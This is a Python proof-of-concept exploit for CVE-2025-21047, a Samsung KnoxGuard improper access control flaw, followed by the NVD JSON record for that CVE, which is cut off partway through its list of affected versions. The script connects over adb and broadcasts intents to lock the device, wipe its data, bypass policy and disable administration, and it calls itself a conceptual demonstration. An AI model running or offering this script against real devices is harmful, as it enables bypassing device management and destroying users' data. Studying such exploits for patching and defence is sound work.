CVE-2025-21047

# CVE-2025-21047 - Samsung KnoxGuard Improper Access Control PoC # This PoC demonstrates the concept of exploiting privileged APIs # in KnoxGuard without proper authorization checks. import subprocess import sys class KnoxGuardExploit: """ PoC for CVE-2025-21047: Improper access control in KnoxGuard Allows physical attackers to use privileged APIs. Affected: KnoxGuard prior to SMR Oct-2025 Release 1 """ def __init__(self, device_serial=None): self.device_serial = device_serial self.privileged_apis = [ "com.samsung.android.knoxguard.LOCK_DEVICE", "com.samsung.android.knoxguard.WIPE_DATA", "com.samsung.android.knoxguard.BYPASS_POLICY", "com.samsung.android.knoxguard.GET_DEVICE_INFO", "com.samsung.android.knoxguard.DISABLE_ADMIN" ] def check_adb_connection(self): """Check if ADB is connected to target device""" try: result = subprocess.run( ["adb", "devices"], capture_output=True, text=True, timeout=10 ) return "device" in result.stdout except Exception as e: print(f"[ERROR] ADB connection failed: {e}") return False def call_privileged_api(self, api_name, params=None): """ Attempt to call a privileged KnoxGuard API The vulnerability allows this without proper authorization """ if not self.check_adb_connection(): print("[ERROR] No device connected via ADB") return False cmd = ["adb", "shell"] if self.device_serial: cmd.extend(["-s", self.device_serial]) # Exploit: Direct API call without authorization check exploit_cmd = f"am broadcast -a {api_name}" if params: exploit_cmd += f" --es params '{params}'" cmd.append(exploit_cmd) try: result = subprocess.run( cmd, capture_output=True, text=True, timeout=30 ) print(f"[INFO] API call result: {result.stdout}") if "Broadcast completed" in result.stdout: print(f"[SUCCESS] Privileged API {api_name} called successfully") return True except Exception as e: print(f"[ERROR] Exploit failed: {e}") return False def exploit(self): """Main exploit routine""" print("[*] CVE-2025-21047 - KnoxGuard Privileged API Access Bypass") print("[*] Affected: KnoxGuard < SMR Oct-2025 Release 1") print("[*] Requires: Physical access to target device") for api in self.privileged_apis: print(f"\n[*] Attempting to call: {api}") if self.call_privileged_api(api): print(f"[+] Successfully exploited: {api}") return True return False if __name__ == "__main__": serial = sys.argv[1] if len(sys.argv) > 1 else None exploit = KnoxGuardExploit(device_serial=serial) exploit.exploit()

{"cve": {"id": "CVE-2025-21047", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:39.900", "lastModified": "2025-10-23T12:43:14.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in KnoxGuard prior to SMR Oct-2025 Release 1 allows physical attackers to use the privileged APIs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:*", "matchCriteriaId": "3093F6FE-C562-4F62-97B7-CA0D2DDF9BBE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "9CBFF102-91A9-4BCC-BB43-912896BFCCEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DAB2A0D7-8F4F-4128-AE09-D2658D793BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6A89AE5B-4D1A-4ADA-B572-38B1FC4ED54C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "3F58ACB0-BA2B-4AFE-91DC-32CBD70DFD73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "401980A7-E64A-4773-83EB-C93B50AE0F73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "CC6E2FC7-2BAF-4C7B-9E0F-D9F844041A35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6E12AB0B-728A-4478-B237-78CBAA2A44C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "26EEF3EC-643F-4A39-8F4C-11F0F534B589"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "0501033A-0D51-41E8-91A9-E72B6EE3F78D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "2A901EFE-90BA-474C-88D2-8A3E7D99C0E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DF7B3213-520A-49F0-A183-C73A37A56854"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "9AB6398C-6A3E-4146-9A5C-595BE36047BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "30F706F3-34F6-4D43-AE5E-C202C700A333"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "FD8B9CD3-063E-481E-BE7C-1628ADA71849"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "12C17130-A0C0-49E1-8525-9D65F0275270"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "E010EDC6-D78E-4126-92B0-2F6A10DE76AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "4FAA7790-A323-4ECA-834E-F19E59C571F5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "9CE09EF7-B024-4D79-9400-C8223CDFBB86"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "C339A665-413D-443F-AD04-F71C161235D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "EB47786E-68AB-4FF1-B9D9-925D65702E4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-jul-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "213AC4D5-3B95-4120-B72D-A9327BADE2BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android ... (truncated)